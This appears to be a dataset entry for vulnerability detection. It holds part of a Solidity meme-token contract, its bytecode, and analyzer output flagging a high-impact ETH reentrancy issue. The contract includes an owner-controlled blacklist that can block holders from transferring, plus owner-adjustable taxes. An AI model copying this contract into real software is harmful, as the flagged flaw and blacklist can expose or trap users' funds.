bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034b578063c3c8cd801461036b578063c9567bf914610380578063dbe8272c14610395578063dc1052e2146103b5578063dd62ed3e146103d557600080fd5b8063715018a6146102a75780638da5cb5b146102bc57806395d89b41146102e45780639e78fb4f14610316578063a9059cbb1461032b57600080fd5b806323b872dd116100f257806323b872dd14610216578063273123b714610236578063313ce567146102565780636fc3eaec1461027257806370a082311461028757600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a157806318160ddd146101d15780631bbae6e0146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611669565b61041b565b005b34801561016857600080fd5b5060408051808201909152600a8152694d696b6173612044414f60b01b60208201525b6040516101989190611686565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611700565b61046c565b6040519015158152602001610198565b3480156101dd57600080fd5b50670de0b6b3a76400005b604051908152602001610198565b34801561020257600080fd5b5061015a61021136600461172c565b610483565b34801561022257600080fd5b506101c1610231366004611745565b6104c5565b34801561024257600080fd5b5061015a610251366004611786565b61052e565b34801561026257600080fd5b5060405160098152602001610198565b34801561027e57600080fd5b5061015a610579565b34801561029357600080fd5b506101e86102a2366004611786565b6105ad565b3480156102b357600080fd5b5061015a6105cf565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610198565b3480156102f057600080fd5b506040805180820190915260098152684d494b41534144414f60b81b602082015261018b565b34801561032257600080fd5b5061015a610643565b34801561033757600080fd5b506101c1610346366004611700565b610855565b34801561035757600080fd5b5061015a6103663660046117b9565b610862565b34801561037757600080fd5b5061015a6108f8565b34801561038c57600080fd5b5061015a610938565b3480156103a157600080fd5b5061015a6103b036600461172c565b610ae0565b3480156103c157600080fd5b5061015a6103d036600461172c565b610b18565b3480156103e157600080fd5b506101e86103f036600461187e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044e5760405162461bcd60e51b8152600401610445906118b7565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610479338484610b50565b5060015b92915050565b6000546001600160a01b031633146104ad5760405162461bcd60e51b8152600401610445906118b7565b66470de4df8200008111156104c25760108190555b50565b60006104d2848484610c74565b610524843361051f85604051806060016040528060288152602001611a7d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f84565b610b50565b5060019392505050565b6000546001600160a01b031633146105585760405162461bcd60e51b8152600401610445906118b7565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a35760405162461bcd60e51b8152600401610445906118b7565b476104c281610fbe565b6001600160a01b03811660009081526002602052604081205461047d90610ff8565b6000546001600160a01b031633146105f95760405162461bcd60e51b8152600401610445906118b7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b8152600401610445906118b7565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075091906118ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c191906118ec565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083291906118ec565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610479338484610c74565b6000546001600160a01b0316331461088c5760405162461bcd60e51b8152600401610445906118b7565b60005b81518110156108f4576001600660008484815181106108b0576108b0611909565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ec81611935565b91505061088f565b5050565b6000546001600160a01b031633146109225760405162461bcd60e51b8152600401610445906118b7565b600061092d306105ad565b90506104c28161107c565b6000546001600160a01b031633146109625760405162461bcd60e51b8152600401610445906118b7565b600e546109829030906001600160a01b0316670de0b6b3a7640000610b50565b600e546001600160a01b031663f305d719473061099e816105ad565b6000806109b36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a409190611950565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c2919061197e565b6000546001600160a01b03163314610b0a5760405162461bcd60e51b8152600401610445906118b7565b600c8110156104c257600b55565b6000546001600160a01b03163314610b425760405162461bcd60e51b8152600401610445906118b7565b600c8110156104c257600c55565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6001600160a01b03831660009081526006602052604090205460ff1615610dc257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0457506001600160a01b03821660009081526005602052604090205460ff16155b15610f74576000600955600c54600a55600f546001600160a01b038481169116148015610e3f5750600e546001600160a01b03838116911614155b8015610e6457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e795750600f54600160b81b900460ff165b15610ea6576000610e89836105ad565b601054909150610e9983836111f6565b1115610ea457600080fd5b505b600f546001600160a01b038381169116148015610ed15750600e546001600160a01b03848116911614155b8015610ef657506001600160a01b03831660009081526005602052604090205460ff16155b15610f07576000600955600b54600a555b6000610f12306105ad565b600f54909150600160a81b900460ff16158015610f3d5750600f546001600160a01b03858116911614155b8015610f525750600f54600160b01b900460ff165b15610f7257610f608161107c565b478015610f7057610f7047610fbe565b505b505b610f7f838383611255565b505050565b60008184841115610fa85760405162461bcd60e51b81526004016104459190611686565b506000610fb5848661199b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f4573d6000803e3d6000fd5b600060075482111561105f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610445565b6000611069611260565b90506110758382611283565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c4576110c4611909565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114191906118ec565b8160018151811061115457611154611909565b6001600160a01b039283166020918202929092010152600e5461117a9130911684610b50565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b39085906000908690309042906004016119b2565b600060405180830381600087803b1580156111cd57600080fd5b505af11580156111e1573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112038385611a23565b9050838110156110755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b610f7f8383836112c5565b600080600061126d6113bc565b909250905061127c8282611283565b9250505090565b600061107583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fc565b6000806000806000806112d78761142a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113099087611487565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133890866111f6565b6001600160a01b03891660009081526002602052604090205561135a816114c9565b6113648483611513565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a991815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113d78282611283565b8210156113f357505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361141d5760405162461bcd60e51b81526004016104459190611686565b506000610fb58486611a3b565b60008060008060008060008060006114478a600954600a54611537565b9250925092506000611457611260565b9050600080600061146a8e87878761158c565b919e509c509a509598509396509194505050505091939550919395565b600061107583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f84565b60006114d3611260565b905060006114e183836115dc565b306000908152600260205260409020549091506114fe90826111f6565b30600090815260026020526040902055505050565b6007546115209083611487565b60075560085461153090826111f6565b6008555050565b6000808080611551606461154b89896115dc565b90611283565b90506000611564606461154b8a896115dc565b9050600061157c826115768b86611487565b90611487565b9992985090965090945050505050565b600080808061159b88866115dc565b905060006115a988876115dc565b905060006115b788886115dc565b905060006115c9826115768686611487565b939b939a50919850919650505050505050565b6000826115eb5750600061047d565b60006115f78385611a5d565b9050826116048583611a3b565b146110755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b80151581146104c257600080fd5b60006020828403121561167b57600080fd5b81356110758161165b565b600060208083528351808285015260005b818110156116b357858101830151858201604001528201611697565b818111156116c5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c257600080fd5b80356116fb816116db565b919050565b6000806040838503121561171357600080fd5b823561171e816116db565b946020939093013593505050565b60006020828403121561173e57600080fd5b5035919050565b60008060006060848603121561175a57600080fd5b8335611765816116db565b92506020840135611775816116db565b929592945050506040919091013590565b60006020828403121561179857600080fd5b8135611075816116db565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117cc57600080fd5b823567ffffffffffffffff808211156117e457600080fd5b818501915085601f8301126117f857600080fd5b81358181111561180a5761180a6117a3565b8060051b604051601f19603f8301168101818110858211171561182f5761182f6117a3565b60405291825284820192508381018501918883111561184d57600080fd5b938501935b8285101561187257611863856116f0565b84529385019392850192611852565b98975050505050505050565b6000806040838503121561189157600080fd5b823561189c816116db565b915060208301356118ac816116db565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118fe57600080fd5b8151611075816116db565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119495761194961191f565b5060010190565b60008060006060848603121561196557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199057600080fd5b81516110758161165b565b6000828210156119ad576119ad61191f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a025784516001600160a01b0316835293830193918301916001016119dd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3657611a3661191f565b500190565b600082611a5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7757611a7761191f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030ab92caea836b51ef7389f6ceef74e3e860dc7b879653c6b655e4def66403de64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,499